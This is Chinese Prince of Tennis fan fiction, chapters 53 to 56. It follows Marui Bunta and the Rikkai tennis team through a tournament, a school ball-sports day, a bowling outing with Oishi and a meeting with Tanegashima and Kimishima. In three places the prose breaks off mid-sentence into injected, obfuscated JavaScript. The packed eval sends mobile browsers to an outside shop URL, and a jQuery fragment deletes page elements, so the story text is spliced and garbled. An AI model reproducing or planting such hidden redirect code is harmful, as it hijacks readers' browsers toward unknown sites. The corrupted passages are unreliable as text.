趁着对手快要确定击球方向的瞬间,丸井文太蓄意向左横移一步,并且为了让对方看清自己的动作,还把身形明显地向一侧倾斜,脚步刻意地朝向左边踏出,随即迅速向右移动,飞快杀了个回马枪。 是诱饵!对方后卫本想将球打到他身后暴露的空档,然而在网球离拍的一瞬,他从丸井文太骤然变向的动作中意识到了被诈,战栗密密麻麻地窜上颈后,脸色霎时一变。 那不到半秒的诱导动作,精准地把他引入了失误的陷阱。 而且仅此一念之差的疏漏便足够丸井文太乘胜追击。 “Bingo!” 丸井文太迎着朝自己飞来的网球,脸上扬起得逞的笑容,他展臂挥拍,网球如利刃般刺向对方前场球员最难回击的脚边,最终势不可当地将这一盘的胜利纳入掌中。 县大赛的水准明显相比地区预赛有所提升,却还没到能让丸井文太觉得费力的程度。他喜欢打比赛,每次没被分配到大概率轮空的单打一、单打二,就很开心。立海的排兵布阵向来不按常理出牌,他轮过两场双打、一场单打,搭档也从杰克换成了仁王,比赛均以攻无不克的势头完胜告终。 只是丸井文太打前锋时,总爱接那些能破招、打击对手的关键球,遇到费力气的球,才肯主动放给后卫,让本想找机会整点儿活娱乐一下的仁王雅治颇感无语。 这不巧了么?他也不喜欢接这种球。真是爱占便宜的同道中人啊。 他们俩无疑都是很有主见的类型,个性鲜明的同时也很擅长根据自己的风格拟定战术,谁也不甘愿被对方牵着跑。奈何在双打场合,前锋具备优先判断和行动的优势,他还真不容易从过于积极主动的队友手中拿过指挥权,啧。 “下次我宁愿跟真田组双打。”仁王下场以后忍不住摆烂地说。 “哈?!仁王你脑子坏掉了吗?”他那没有良心的队友非但毫无自我反省之意,还抬起手挡在眼睛上面,装模作样地左右瞧了一瞧,“今天也没下雨啊,哪里来的水灌进去了?” 丸井文太话音刚落,立海的休息区当即传来笑声一片,当日最后一场四强决定战便在欢声笑语中落幕。 县大赛的重头戏——准决赛和决赛,被大赛方安排在一周后。进入这两轮的队伍都已经拿到了关东大赛的入场券,后头的比赛,准确来说就是决定名次的荣誉之战。立海选手日常经历练习赛的磨练,每个人都能稳定发挥,自然是一路过关斩将,所向披靡地拿下冠军。 那过程实在没什么悬念,还不如周一晨训时,切原一脸菜色地交上观赛感言,然后被全体正选轮流传阅,大家一个个挑他那些惨不忍睹的错字病句,最后把他惹得恼羞成怒、红着眼睛暴走的场面有看头。 话虽如此,县大赛决赛当日,仍有不少职业记者前来一线取材。由于记者们唯独在幸村精市接过冠军奖状时疯狂按动快门,让颁奖现场的白光闪成一片,导致很多人怀疑他们其实是为了拍摄立海部长,还有报道立海再次蝉联冠军的新闻,才特地来会场的。 53.File 52 中意 县大赛优胜以后就是关东大赛,但在七月底的比赛召开之前,立海网球部的正选们还需面临一个考验。 “就算是球技大会,我们立海网球部也应该无懈可击地拿下优胜!” 面对无论何时都斗志十足的真田,还有站在这位黑帽子代言人身后,在盛夏也依旧将外套披在肩上,时常笑容满面的网球部至高存在,所有人皆神情肃然,以洪亮的音量回答了“Yes, sir!”,一时间使得某种极具压迫力的强大气场在球场上蔓延。 “Yes, sir!”是大家在县大赛结束后结伴所看的好莱坞电影里,从某个特种部队的剧情里学来的台词。因为这样说起来很酷,于是模仿的风潮很快在网球部内流行起来,甚至很快通过每周的联合训练流传到同校的高中和大学网球部。一群从真正的中二,到连升入大学都没从中二病毕业的学长们,都对此十分中意,立海学子一脉传承下来的品味可谓是相当一致了。 “赤也,你报名了什么项目?” “足球。丸井学长你呢?” “我啊,和杰克一起参加排球比赛。”丸井文太比出一个代表胜利的V字,脸上一如既往带着明快又闪亮的招牌式笑容,“今天的优胜定然手到擒来!” 然后V的手势自然地收起一根手指,悄悄变成指向站在身侧的发小。 “交给杰克啦。” “喂,又是我啊?!” 丸井文太“嘿嘿”着笑了两声,扬手勾着杰克的脖子娴熟地说“好啦好啦”之类的话蒙混过关。切原赤也瞧着学长吊儿郎当地走远,在消失于建筑物的转角前,对方忽然转过头,目光灵敏地抓住学弟尚未收回的视线。 文太露出有些意外的表情,像是忽然想起来了什么,另一手举起来跟他摆了摆:“对了,赤也你也要比赛加油哦。” 那口吻漫不经心得很,却带有一丝让人绝不会反感的笃信笑意,长长的眼睫毛对着他轻轻眨动,好像自以为切原赤也没转过头就是为了等他的这一句鼓励。 这位学长总是一副仗着为人喜爱所以有恃无恐的样子,明明年龄较长却特别会撒娇,热衷把事情大包大揽之后推给杰克学长而且从来不会遭到拒绝,做了违反校规的事也能轻而易举地从真田副部长和老师那里蒙混过关,超级能摄入糖分但从来不需要像班里女生那样苦恼皮肤和体型,爱耍小聪明却能凭借绝佳的网球天赋和亲切感在部里拥有绝佳人气…… 切原赤也不免暗自纳闷,这个人的人生恐怕从来就没被安排过什么挫折吧? 会有这种牢骚的念头,大概也是他本就不太灵光的脑子要被高温热坏了。 盛夏的热浪沉浮在立海校园的梧桐大道上,树上传来阵阵聒噪的蝉鸣,阳光毒辣得地面踩上去都带有滚烫的热意,更别提烈日下被晒得空气扭曲的绿茵场了。 球技大赛是立海历年举办的传统活动之一。有别于以团体战为核心的体育祭,球技大赛采取学生以个人身份参赛的规则。球类运动社团的成员不得报名自身原来的项目,因此网球部的大家只能选择网球以外的比赛。 切原赤也站在场上才后知后觉地恍然大悟,幸村部长报名的板球,柳学长的台球,仁王学长的躲避球,还有丸井和杰克学长的排球,竟然全都安排在开了空调的室内体育馆里进行啊? 会选择在烈日下参加室外球类运动的,就剩下热血过头,而且口口声声说要在日本引以为傲的棒球项目上争光的真田副部长,只需在高尔夫球场挥几杆就能轻松完赛的柳生学长,还有完全没意识到这个天气在室外踢足球会是何等酷刑的自己。 “可恶!既然如此,那我非得要拿到No.1回去给他们瞧瞧。”他咬牙切齿,要做就要做到极致,否则岂不是要被那群过分精明的学长们彻底当成笨蛋! 绿茵场外稀稀拉拉聚集着一些观战的学生,大多人最初只是随意驻足,但到后来,目光却几乎都被场中穿着9号背心的身影牢牢攫住。 切原赤也。 赛程过半,灼热刺眼的阳光将足球场烤得蒸腾起一层扭曲热浪,他微微弓着背承受炙烤,双手撑在膝盖上,胸膛剧烈起伏,急促地喘息。汗水几乎浸透了他卷曲的黑发,一绺绺贴在额前,几滴汗珠沿着发丝淌到脸庞下颌,再砸落在滚烫的草皮上。 但纵使他累得不轻,看似体力告罄,对面球员却俱是严阵以待,面对他如锁定猎物的冷冽眼神,不自觉露出一种如临大敌般的紧绷神情。 众人对这位来自网球部的新人早有耳闻,隶属于校内如日中天的王牌社团,是个气焰嚣张的超级新生,一年级正选的确是个不容人小觑的标签,但唯有在赛场上直面切原赤也的人,才能体会到他比赛时那副模样多有压迫力。 好似一头极为年轻的猎豹,泛着未经驯服的野性光彩,对得分怀有一种近似本能的贪婪渴望。 下半场开赛,球场仿佛成为他一个人的领域。当对方出现横传失误时,切原赤也的身影如闪现一般超越对方的两名球员。他的启动速度快得离谱,转瞬便冲刺到所有人的前方,脚尖将球轻轻一捅,人球分过,绕开拦截的对手,瞬间形成插入敌阵的尖刀。面对摆出架势的门将,他没做任何假动作,只是将全身力量灌注在右腿,绷紧脚背,一记迅猛至极的抽射! “砰!” 足球像出膛的炮弹,顶着门将拦截的双手,狠狠将人带球一同推入球门,带起场外热烈的喝彩。 好猛的力量!观众忍不住将目光都汇聚在切原赤也身上。然而对方却看也不看他们欢呼的方向,转身跑回己方球场,只顾着高度专注地盯着足球。 这家伙对胜利的执着顽固得骇人。在后来的比赛中,哪怕己方队友出现失误,一记又高又飘的仓促长传眼看着就要飞出边线,防守队员都放弃了追赶,他也没有放弃,几乎以一种不要命般的姿态冲刺追赶。 在足球即将出界的瞬间,切原赤也整个人腾空而起,身体完全舒展,左腿尽力伸长,用脚背凌空将球勾回了场内! 由于姿势勉强,切原赤也落地瞬间一个踉跄,顿时引起场外一片惊呼。 但他的动作没有停顿,那股在网球场上磨练出的瞬间爆发力、超乎寻常的集中力,以及一种近乎野兽直觉的判断力,被切原赤也以无比蛮横的强硬姿态展现出来。他立即用手在地面一撑,顺势扭身,未等足球落地,也没看球门方向,凭借冲刺带来的惯性,以及那一瞬间捕捉到的、门将站位略微靠前的直觉,抡起右腿就是一记似传似射的吊门! 足球在空中划出一道不算完美,却足够凌厉的弧线,越过来不及回追补位的后卫头顶,也越过了慌忙后退起跳、指尖却差之毫厘的门将,堪堪擦着球门横梁的内侧,成功落进门内。 “哇——!” 太厉害了!这一次场外送给切原赤也的呼声更大,还有人吹起了口哨。 对手显然也开始忌惮切原赤也的能力,开始派人如影随形地盯防他。 可这完全制约不了切原赤也发挥他速攻的才能。每次都是爆发力惊人的夺命冲刺,他抢先防守球员半步先触到了球,不顾几乎零度的角度,也无视几乎在高速跑动中失去平衡的身体,仅凭腰腹狠狠一拧,身体勉强在半空中转过,左脚硬是在冲出底线之前踩上边线,险而又险地稳住重心,同时右脚向后摆动,凭着那股冲势和拧转的力道,用右脚外脚背狠狠扫向足球底部! 比起射门,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不过光凭这个原因,还不至于让你对他如此中意吧?” 丸井文太正噼里啪啦地打字给切原赤也回邮件,听见仁王雅治这句话的瞬间手指动作停顿了一下,他抬起眼睫,目光上移的时候对方也恰好漫不经心地低垂视线。 “有什么特别的理由吗,丸井?” 对方似乎在为他脱离寻常的反应感到不解和好奇。 丸井文太直视他色泽清冷的眼睛,微不可查地挑起一边眉梢。 这个素来自诩聪明绝顶的麻烦家伙,一贯爱把自身想法包裹于一种光怪陆离又虚实难辨的神秘基调。然而他对外的时候却双标得很,总是热衷观察和分析一些连柳莲二都不会太过深究的东西,那种妄图窥视别人内心的行为简直失礼至极。 “啪”的一声,丸井文太手指利落地合上手机,连着尚未编辑完成的邮件一起放置在旁。 而且由于他接下来伸手的动作太过不假思索,加上仁王或许是专心等待回答,没有及时反应过来,他的脸颊被文太直接用拇指和食指捏住,恶作剧似地一扯,向来展现着从容神色的脸庞顿时变形得滑稽起来。 “喂、很痛!” “就是这样,很好玩。”丸井文太松开手以后笑了起来,然后他忽然想起去年去马戏团校外学习的时候,仁王鼓动他在什么年纪就只管做什么事,于是用微微揶揄的语气说,“和思维成熟却想要像是小孩一样胡作非为的仁王相比,赤也可是一刻不停地急着想要成长为大人,好让我们都刮目相看呢,你不觉得很有趣吗?” “puri。” 54.File 53 共识 哪怕是同样出身于以争强好胜为文化底色的立海,在同一个环境中成长起来的他们却性情各异。彼此间既有将优胜劣汰视为常理的共识,又在分岔的个性中延展出走势各异的枝桠。 犹如在一棵繁茂葱茏的百年古树上,新生的年轻枝条四处探寻着阳光、水分和氧气,彼此又是共生又是竞争地朝夕相处。 会对身边那些特色鲜明、朝气蓬勃的同伴感兴趣,自然也是人之常情。 “那么,下一场看我的吧!” 丸井文太勾起唇角,将并起的两指搭在眉尾,轻轻抬起一下作为示意。 紫眸在鲜红碎发的掩映下轻轻移转,这家伙在那一瞬斜睨过来的眼色嚣张得仿佛天经地义。由于自小深受宠爱,培养出了对自身魅力的绝对自信,他在此刻展露出来的神情过于理直气壮了,却只让人觉得天生明媚的眉目顾盼生辉,这副盛气凌人的模样灵动可爱,简直是惹人喜爱界的绝世天才。 不过,既然丸井文太身为立海招牌的网球部正选,那份开朗的骄傲自然是与他十分相称。 优越的运动神经,进取果断的判断能力,他的天赋在任何竞技领域中都称得上得天独厚。而作为丸井文太最大武器的,则是他机警冷静的机会主义作风,能够时刻统观大局并做出取舍,不错过任何有机可乘的破绽,在任何混乱场面中都不会自乱阵脚,随时能够灵活应变。 室内体育馆的灯光雪白明亮,将丸井文太的眼睛笼罩在额发投下的阴影间,他站定位置后对着球网另一侧的选手们扬唇笑了笑,从容而挑衅地吹出一个泡泡,还未说话便已先狠狠地拉了一把仇恨。 温吞的比赛可不符合他的性子,丸井文太是越被针对越起劲的类型,天生的视线焦点。 照理说排球项目虽然不像篮球那么看重身高,身材高大的对手所带来的影响也要远大于网球比赛,然而他在场中发挥出与他打网球时非常相似的击球技巧,无论是开场球速极快的跳发球,还是在比赛中角度和力度都刁钻莫测的进攻球,都给对面带来极大的威胁。 网球的网前截击与排球存在一个共通点,就是都要求选手在球落地以前接到球。丸井文太左右移动的步法早就锻炼得炉火纯青,根本不存在能快过他的反射神经、让他来不及拦截的来球,仗着有杰克在他身后密不透风的策应,就算是遇到能越过他头顶的高球也无所畏惧。 随着赛点临近,对手的回击也越加强劲,从队友臂上垫起的球传向失误,高高飞向三米线外,眼看着这球就要失守,杰克仅在眨眼间就穿越了大半场区,然后高高跃起—— 他视线移向对面,发现有两名拦网队员迅速如城墙般矗立在网前,封死了他所在位置的全部回击路线。 根据排球规则,每边有三次击球机会,杰克当即把球传向丸井文太的位置。 他们的对手几乎在同时完成了人员的布防调整,文太在起跳瞬间迅速扫视对面——直路被挡,斜线有人就位,后排还有防守队员蹲守,所有的常规进攻角度都被牢牢封死! 时间仿佛在这一刻变得缓慢,丸井文太看来已经无计可施,但正是这千钧一发之际,他的视线忽然停在场边一根银灰色的铁柱上——那只是支撑球网的立柱,作为排球场地中极其寻常的一部分,平常并不引人注目,当下却忽然在丸井文太眼中化作了转折的契机。 一个另辟蹊径的疯狂念头闪过脑海。 他从未在排球方面做过如此精细的控球练习,但丸井文太却毫不犹豫地在半空中强行扭转身体,原本准备大力扣杀的手臂忽然改变动作,斜斜一劈! “什么?”原本摆好防御姿势的对手发出惊疑的呼声。 失误?破罐破摔?这球路明显是一个出界球吧?! “铛——” 紧接着排球猛然撞上铁柱的巨响又在他们心中震了一震。 在众人不可思议的目光中,奇迹出现,排球撞击铁柱后反弹的角度极其刁钻,竟然以极小的角度斜线插入对手的中场空档,而对手所有人都对此始料未及,没有人赶得及救球,只能眼睁睁看着排球在界内落地,然后如同打水漂的石子一样继续向前小幅度飞弹数次,才骨碌碌地一路滚到场外。 “妙计,铁柱撞击。” 丸井文太压低眉梢,脸庞上浮现出一个锐气尽显的漂亮笑容。 “如何?很天才吧。” 裁判愣了一瞬,随即吹响哨子:“得分!25:23,比赛结束!” “哇!丸井君太强了!” 丸井文太当即被欢呼雀跃的队友们团团围住,他一点也不谦虚,甚至还神气十足地原地叉腰:“没错,我果然是天才!” “喂……这是符合规则的吗?”观战的学生中有人问。 裁判解释说:“球在撞击铁柱前并未出界,反弹后落进场内,没有违反规则,所以得分有效。” “很有创意啊,丸井君。” “那是当然的!” 丸井文太走下场以后才发现仁王雅治身边的柳生比吕士和切原赤也,同样已经完赛的绅士先生笑着对他颔首,竖起一个赞赏的拇指,可爱的海带头学弟也表现得十分兴奋,凑上来嚷嚷着丸井学长刚才那招超酷之类的话。 天才学长自然是一脸骄傲地哼哼两声,得意忘形地暗爽起来。 然后丸井文太就被一条横空飞来的毛巾蒙上脑袋,惊得他当场“呜哇”大叫。 “piyo,快擦一下,幸村的比赛马上要开始了。” “可恶,仁王你给我走着瞧!” 文太手忙脚乱地扒下毛巾,汗水沾湿的碎发全黏上皮肤,湿漉漉的脸蛋浮现怒容。 他恶狠狠地将眼刀剜向仁王,可惜对方说完那句话就已经转身走远,单手插着兜,另一手还悠闲地举起来朝他摆了摆,文太的反应只能算是无效攻击了。 真是的,这种时候不该随大流地夸奖我么?真是从来都不读气氛的家伙啊…… 丸井文太有些不爽地“嘁”了一声。 莫非是在记恨刚才我掐了他的脸,所以趁机返还的报复?小气鬼啊! 他甚至还非常以己度人地揣测起来。 “丸井学长,你再不赶紧就要来不及去给幸村部长的比赛应援了。” 转眼连切原也追了上去,同时还很急性子地回头去催似乎正在思考什么的学长。 “哦、哦哦!我马上来!” 丸井文太回神,连忙追上他们的脚步。 等他们赶到板球比赛的区域,真田和柳也早已占据一个视野极佳的观战位置,文太他们自然是理直气壮地与他们汇合,同时环顾了一下几乎将周围堵得水泄不通的同学们。 “嗯?真是罕见的热闹啊,怎么回事?” 文太面露好奇,他刚抬起头开口询问,就被柳难得面露不虞的模样吓了一跳。 要知道君子风度的柳莲二向来脾气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962633|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极佳,要惹怒对方可不是易事,他心里满是嘀咕,又将目光移向在柳身边的真田弦一郎,发现那位也是面色冰冷,眼底溢出怒色,看起来只是为了顾全场面才勉强没有发作。 这是怎么了? 丸井文太心中疑窦丛生,场中的幸村精市却是以轻描淡写的姿态完美拿下胜利,送给对手一场无懈可击的零封。他身为网球部的王牌主将,具备这份在任何运动中都游刃有余的强大也是理所当然。 “幸村部长太强了!”切原头一个冲到幸村身边,周围的观众也对他的胜利并不意外,纷纷送上了热烈掌声。 文太观察着其他人的反应,视线又扫过幸村那位对手垂头不语的模样,始终无法找出让真田他们愤怒的源头,便假作不知地同杰克一起围在幸村身边庆贺,身后跟着始终若有所思的仁王和柳生二人。 直到这一日的球技大赛彻底结束,大家一起去附近荞麦面店吃饭,丸井文太才装成不经意地问出了内情。 “欸——幸村君的对手竟然在赛前找过你啊。只是区区一次校内竞赛而已,为什么要拜托幸村君故意输给他呢?” 幸村精市轻笑一声,但他还未作答,柳莲二先口吻冷淡地开了口:“山口凉介,三年生,虽然他并非板球部的成员,也没有参加过正式赛事,但他近期为了争取高中去英国留学的资格,决定在校内的板球比赛中取得优胜,以此作为简历上的加分项。他的板球实力确实不弱,本来是有望如愿以偿的,不幸的是精市恰好报名了同样的项目,事关前程,他自然不敢冒险。” “那个蠢货,仗着幸村对他客气就妄图得寸进尺。”难得真田也全然不顾对待前辈的礼仪,恼火地说,“他不仅想让幸村故意输给他,而且还自以为幸村绝对不会拒绝前辈的请求,赛前就毫无分寸地宣扬自己能拿优胜。” “喔——我懂了。”文太扬眉,一针见血地道出对方的心思,“那就是打着先引人注目之后再大出风头的主意了,难怪今天赛场外的观众多得出奇啊。” 柳生皱起眉:“这岂不是把幸村君的名声当作垫脚石?” 杰克说:“喂喂,就算是学长,这也太过分了吧。” “幸村部长未免让他输得太轻松了。”切原义愤填膺地握拳道,“要是我的话,非得让那位学长跪下来忏悔不可!” 仁王:“piyo。” 照理说此刻该有人来纠正一下学弟过于粗鲁无礼的言辞,但此刻连他们之中对礼仪最为严格的真田都置若罔闻,可见切原直白的话语的确说中了其他人的心声,只是学长们还受制于个人修养,矜持地没有将其诉诸于口而已。 败北并不耻辱,特别是在这群坚毅而骄傲的网球部员看来,无法坦率地承认自己当下的不足,软弱地自欺欺人,输不起才是真正的耻辱。 “好啦,小事而已,没什么可生气的。” 幸村对他比赛中这个小插曲并未产生太多感想,甚至连情绪波动都不太多。他不以为意地给这个话题画上休止符,随后视线含笑地扫过这些正你一言我一语为他打抱不平的队友们。 “我想大家都知道,无论在任何比赛,能站到最后的胜利者只有一个。不该同情对手的梦想破灭,也不要妄想对手会对自己心存怜悯,更不能将希望寄托于摇摆不定的运气,制胜的关键唯有绝对的实力,所以我们的目标是——” “成为最强!” 他们相视一笑,然后齐声回答。 55.File 54 假日 “呐,明天是休息日。我们一起去酒店约会吧。” 课间休息时间,突然响起的一句话如投入湖中的石子,在二年C班的教室中泛起涟漪。 其他同学嗅到八卦的气息,下意识转头,看见班里的至宝正霸占着他邀约对象前面的座位,支在桌面的双手捧起脸蛋,表情期待地抬眸望向发小。 哦,原来是跟杰克撒娇啊。 大家习以为常地转身继续去做自己的事。 被丸井文太盯着的杰克狠狠抽了一下嘴角,黝黑的光头上肉眼可见地冒出大量汗珠:“文太,你该不会又打算……” “没错,一起去自助餐厅大吃特吃吧!”文太斗志十足地说。 果然是这样啊! “我、我就算了。家里还有别的事要处理……” 杰克干笑两声,心虚地移开视线。 要知道他上次被文太扯去一起吃自助餐的时候,因为那家伙整整两个小时都在吃个不停,让杰克全程都不得不承受着酒店人员的惊愕视线,那煎熬的体验简直让他度秒如年。 丸井文太闻言长长地“欸——”了一声,眼睫轻轻眨了眨。 他看出杰克的不情愿,有些欲言又止地微微张开口,其实想说他可以换别的行程,却不好直接戳破杰克情急之下脱口而出的借口,让对方徒生尴尬,只好遗憾地说了句“好吧”,放弃了约他的打算。 所以还能找谁玩呢?文太想改去切原家里联机打游戏,却得到了对方要为逛街的姐姐拎包所以不在家的答复,听起来很命苦就放过他了。他又打电话问幸村有没有空,那边也是不好意思地说有家庭聚会,家人肯定是更重要的,那就只好改日再约了。 丸井家排行中间的弟弟自从上了小学,交了很多同龄朋友,平时不再那么热衷缠着文太陪他玩了,另一个小弟弟年纪太小,再加上文太对上个月游乐园发生的意外事件心有余悸,短时间内也不适合再带他出去。 好烦恼。明明是难得的假日,真不想虚度啊。 他放学回家后就鼓着脸趴在茶桌上发呆,目光漫无目的地四处游离,忽然聚焦在前方的一张从未见过的卡片上。 “这是什么?唔……保龄球馆的会员卡?” 把卡片翻过来一看,没盖章的格子还有很多,但使用截止日期已经非常近,那些没去过的次数很快就要失效了。 “这个啊,是爸爸那边的公司福利。”文太的妈妈看见他反复翻看那张卡片,有些无奈地笑了下,解释说,“他最近都在加班,看来是没什么机会去了。” “这样啊……”丸井文太露出若有所思的表情,他想了一下,然后问,“那我可以拿去用吗?” “当然可以!卡片是不记名的。不过文酱你会打保龄球吗?” 丸井文太当然是从来没有打过,话虽如此,他还是很自信地笑着说:“没有关系,我可以现学!” 那家名为Round 1的保龄球馆位于东京的商业区,能够坐电车直接往返,倒也不算麻烦。丸井文太进门后顺利完成了登记和换鞋,然后就在选球环节琢磨起来。 球馆提供的保龄球重量从几磅到十几磅不等,他经常对着西式食谱琢磨甜点的做法,能够大致预估不同磅数球的手感,但由于没有实际玩过保龄球,他还是不确定要用多重的球比较合适。 根据常理推测,轻一些的球应该会比较好控制,但重球的威力更大,估计能一次性击倒更多瓶子。 文太瞄了一眼自己手上的黑色护腕,经过近一年的长期训练,他目前的日常负重稳定在7kg左右,手臂的力量强度明显提升,手腕的灵活性也不会受到明显影响,已经能够做到对负荷无感地打网球了,直接使用重一点的球应该也不在话下。 他正要做出决定,身后忽然传来一个陌生的少年声音。 “如果你是初学者的话,最好先选择轻一点的球试试手感,等玩上手以后再视情况换球,不然手腕很容易受伤的。” 丸井文太惊讶回头,目光撞进一双友好的墨绿色眼睛,又见对方在他的注视中陷入一阵微小的慌乱。 “呃……希望你不会觉得冒昧。我是这家店的常客,刚才看到你进来后有点生疏,又在这里犹豫得比较久,所以在想你会不会是第一次来这里,可能需要帮助……” 那人似乎是担心他被陌生人打扰后感到不悦,匆匆忙忙地在提出建议后解释了一大堆自己开口搭话的理由,似乎是个很容易替人操心也很容易陷入内耗的家伙。 总感觉……和杰克有点像。丸井文太忍不住弯起嘴角,单手叉腰,歪过头,眼神好奇地打量起来人。 对方面庞俊朗,神情温和,看起来和他年龄差不多,给人的第一印象就是脾气极佳的草食系优等生男子。 “唔……你猜的没错,我是第一次来这里,对保龄球的规则也不是很了解。” 文太微微试探地说,极其自然地在话语中留下了让人继续推进话题的机会,然后,果见对方双眼一亮。 “如果你不介意的话,就让我来教你吧!” “嗯,好啊。” “那我先自我介绍一下,我叫大石秀一郎,是附近青春学园的二年生。” “我叫丸井文太,是神奈川的立海大附中二年生。” 在他话音落下后,大石愣了一下,目光停留在文太的脸庞上,忽然陷入沉思,努力回忆了半晌,神情迟疑地问:“丸井……我们是不是见过?” “欸?”文太迷茫地眨了眨眼睛。 “比如说街头网球场之类的。”大石似乎有些担心自己认错了人,紧张地抬手比划了一些不知所云的动作,“你和一位打球闭着眼睛的同伴一起。” 闭着眼睛……那不就是说柳莲二吗? “我以前和队友一起去过青学网球部,不过有见过你吗?” 丸井文太有些诧异,印象中柳莲二的旧友是个榴莲头的眼镜男,对方名义上的双打队友也是个性格仗义而且动作像猫的活跃家伙…… 对了,当天街头网球场上出现了几个青学的人?他也陷入回想。 “等下,我想起来了!” 那个眼镜男的同伴当中……好像确实还有一个相当低调的人来着。就是因为太低调了,丸井文太完全没留意过对方的模样。 “欸——原来大石你是青学的校队正选啊,那我们说不定能在关东大赛上碰面。好像下周就要开始抽签了吧?” “嗯……嗯,要是能与去年的冠军队对战,我这边还要请你们多多指教呢。” 大石似乎对这个话题有些紧张,文太的目光从他紧握饮料罐的手指移到微微冒汗的鬓角,眼中划过一丝若有所思,又很快被微微笑意掩去。 保龄球馆里搭上话后,文太在大石的点拨下顺利地上手了保龄球的打法。他领悟力一流,尤为擅长控制手腕的发力,很快就掌握了诀窍,后面几轮击倒瓶子的得分数甚至能跟擅长此项的大石平分秋色。 很多运动都有相通之处,这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978818|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丸井文太身为保龄球初学者却怀有自信的原因。另一方面,当大石示范技巧的时候,文太立刻察觉对方手腕发力稳定,控球相当出色,这份特质显然也能够在网球领域充分发挥,于是在运动后聊起这个话题。 文太没料到光是提及立海可能与他们对战,就能给大石带来那么大的压力。 不过这也算是可以理解的啦。他想。 “都大赛亚军没必要那么谦虚吧?”丸井文太对交际十分上手,只用一句轻微调侃的话语就化解了尴尬氛围,然后他不着痕迹地转移了话题,“说起来关东大赛的会场在东京,还算是你们主场作战呢。我很少去那边,不太清楚周边有没有什么值得尝试的美食店,你有建议吗?” “啊!那我给你推荐吧,我知道附近有……” 总之在二人分别的时候,他们已经交换了联络方式,并约好了下次再一起打保龄球。只要他自己愿意,丸井文太有能耐让任何与他相处的人感到轻松愉快,那份仿佛与生俱来的亲切感总是让他极易与人拉近距离。 轻轻挥手与大石告别后,文太走在返程的路上。他原打算就这么直接乘电车回去神奈川,目光却不期然被街上一个巨大的广告展板所吸引。 ——本店正在召开蛋糕自助餐大赛,优胜者不仅能够获得当日免单资格,还有机会入选由君岛财阀赞助的“大胃王锦标赛”节目,获得高额奖金以及与大明星君岛育斗同台互动的机会。 “咕咚。”他咽了下喉咙。 不知怎的,丸井文太眨了眨眼睛,鬼使神差地觉得自己忽然挪不开脚步。 过了十分钟,他走进了自助餐厅。 两个半小时后,他脸带红晕地放下刀叉,舌尖舔干净唇边沾上的奶油,心满意足地双手合十:“我吃饱了,多谢款待!” 堆积成山的餐碟耸立在丸井文太的身后,旁边是一群鼓掌和拉响礼炮的服务员,以及其他被糕点噎得翻起白眼、倒地不起的参赛者。 正在此刻—— “丸井先生,接您去节目会场的车已经在门口准备好了。” 餐厅大门突然打开,站在入口中央的一名衣着考究的银发绅士微微欠身,将丸井文太的目光引向停留在道路边的一辆黑色保姆车。 “咦?!”文太吓了一跳,“这么快?但我已经吃不下了。” 对方说:“请不用担心,现在只是去事务所签约,正式的节目录制是安排在晚上,而且我们保证会严格遵守未成年人的演艺工作时间限制,不会侵犯您的个人权益。” 总感觉……有点仓促。 丸井文太半信半疑地缓缓点头,跟随指引上了车,视野骤然变得昏暗起来,他还没来得及适应环境的变化,就被车里的人用一根手指轻轻抬起下颌。 “哎呀,意外地还长得蛮可爱呀。你是中学生吗?” 玩世不恭的轻佻语气叠加关西腔,让人一听便觉得个性十足。 一个银发自然卷笑眯眯地凑近丸井文太的脸庞,然后扭头看向另一个同样是银发却气质贵气许多的同伴。 “君岛,可以把你找来的这个救场小哥先借给我吗?我这边拍写真也还差一个人,奏多最近迷上了去游乐园玩角色扮演,完全不理睬我这边的请求呢。” 被他称作君岛的人始终垂眼看着笔记本电脑,闻言推了推眼镜,表情和语气都是如出一辙的冷淡:“种岛君,我只是答应顺道捎你一程,你的其他需求不在允许交涉的范畴之内,请不要打扰我的客人可以吗?” 56.File 55 同类 种岛修二,来自京都的舞子坂高中二年级,身为学生的同时也兼职杂志模特。 君岛育斗,年少时以童星身份出道,因为人气极高,他自小就活跃于聚光灯下,目前已是影视歌三栖的明星,其出身背景是君岛财阀的贵公子,年龄与种岛修二相同。 这样两位看似风马牛不相及的人物,之所以相互熟识,自然与他们共有的一个身份有关。 ——日本网球界U-17国家队代表队员。 虽说国家队的内部选拔将等到秋季才能得出最终结论,但他们二人作为所有候选选手中的实力佼佼者,已经基本锁定了出赛席位。 而这二人会在今日聚在一起,原因则与他们另外一个存在共通点的身份有关,也就是作为公众人物接下的工作。 为种岛拍摄写真的杂志隶属于君岛财阀旗下的传媒公司,而君岛今日要作为特邀嘉宾出席的综艺,也是由自家品牌独家赞助的电视节目,双方的工作地点都位于君岛财阀名下的商业大楼内。 既然目的地相同,种岛在偶遇君岛后就毫不犹豫地搭上了大少爷的便车。 “Chai~”开朗的黑皮天然卷一上车就抬手打了声招呼,“今天有缘遇到你真高兴啊,君岛。” 